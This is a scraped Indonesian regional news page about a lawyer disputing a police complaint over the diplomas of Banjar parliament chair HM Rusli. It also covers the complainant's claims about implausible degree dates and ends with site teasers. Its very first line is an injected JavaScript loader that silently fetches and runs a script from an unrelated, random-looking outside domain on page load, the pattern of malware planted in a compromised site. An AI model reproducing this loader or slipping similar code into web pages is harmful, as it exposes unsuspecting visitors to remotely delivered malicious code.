(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Kuasa hukum HM Rusli, Fauzan Ramon angkat bicara soal adanya laporan anggota DPRD Kalsel H Puar Junaidi SSos ke Direktorat Kriminal Umum Polda Kalsel tentang dugaan ijazah Ketua DPRD Banjar HM Rusli yang diduga ‘bermasalah’.
Kepada sejumlah wartawan, Fauzan mengatakan laporan tersebut tak berdasar hukum dan pembunuhan karakter terhadap kliennya HM Rusli yang gagal mencalonkan diri menjadi Ketua DPRD Kalsel.
“Laporan itu tak berdasarkan hukum karena hal ini telah dua kali dilaporkan antara lain pada 2015 waktu itu Dirkrim Umum dijabat Kombes Yustan Alfiani dan laporan itu telah selesai dan di SP3-kan,†paparnya sembari memperlihatkan bukti surat pemberitahuan dihentikannya penyidikan, Selasa (6/8) siang.
Ditambahkan Fauzan apa yang disampaikan pada laporan itu, tak berdasar hukum dan telah dilaporkan sebelumnya di tahun yang berbeda. Ia menegaskan adanya laporan tak berdasar hukum itu tentunya ada konsekuensi hukum pula .Karena hal itu dinilainya merupakan pembunuhan karakter dan fitnah serta pencemaran nama baik.
Menurut Fauzan Ramon, kliennya tersebut telah dilaporkan sebanyak tiga kali dan saat mencalonkan diri di Kabupaten Banjar pasti ada ada saja laporan-laporan tentang masalah ijazah palsu tersebut.
Sebelumnya, Senin (5/8), politisi Golkar H Puar Junaidi SSos mendatangi Direktorat Kriminal Umum Polda Kalsel. Kedatangan kader sesama beringin ini ternyata melaporan Ketua DPRD Kabupaten Banjar HM Rusli.
Kepada wartawan usai menyerahkan laporan, Puar mengatakan kedatangannya ke Polda Kalsel ini untuk melaporkan HM Rusli yang merupakan anggota DPRD Kabupaten Banjar.
Menurut Puar, pelaporan menindaklajuti aspirasi yang disampaikan LSM Pengawas Pelapor Korupsi (LP2K) Kalsel di depan DPRD Kalsel pada 22 Juni 2019 lalu. Pelaporan ini antara lain terkait ijazah yang digunakan HM Rusli pada saat pemilu 2004 lalu.
HM Rusli diyakininya punya ijazah paket C yang diterbitkan pada 28 Mei 2004. Sehingga lebih dulu pemilu dari pada ijazah paket c yang dimiliki HM Rusli dan beliau terpilih sebagai Anggota DPRD Kabupaten Banjar periode 2004-2009.
Dirinya mempertanyakan waktu 2004 itu Hanya Rusli hingga lolos sebagai Calon Anggota DPRD Kabupaten Banjar dan kini terpilih.
Selanjutnya HM Rusli juga memiliki ijazah S1 yang diterbitkan pada 16 Sepetember 2006, sementara kalau dilihat dari paket C nya diterbitkan pada 28 Mei 2004 hanya dalam jangka waktu 2 tahun, sedangkan dalam program pendidikan di perguruan tinggi untuk menyelesaikan S1 diperlukan jangka waktu 8 semester atau 4 tahun.
Menurutnya, HM Rusli juga memiliki ijazah S2 yang diterbitkan pada 08 Maret 2008, diduga mendapatkan S2 tidak sesuai aturan mengingat S1 yang dimiliki tidak wajar berdasarkan aturan yang berlaku. Sementara untuk Universitas Mahardika mendapatkan izin penyelenggaraan Pendidikan Pasca Sarjana pada 2007. (rendy)
Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More
KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar melaksanakan rapat Pembahasan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah perwira menengah (Pamen) dan perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Ratusan pelajar tingkat SD/MI di Kabupaten Kapuas antusias mengikuti upacara pembukaan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pembangunan Pos Pelayanan Terpadu (Posyandu) tak luput dari sasaran Satgas TNI Manunggal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kampung Keluarga Berkualitas (KB) di Kelurahan Guntung Manggis menerima kunjungan Tim Penilai… Read More
This website uses cookies.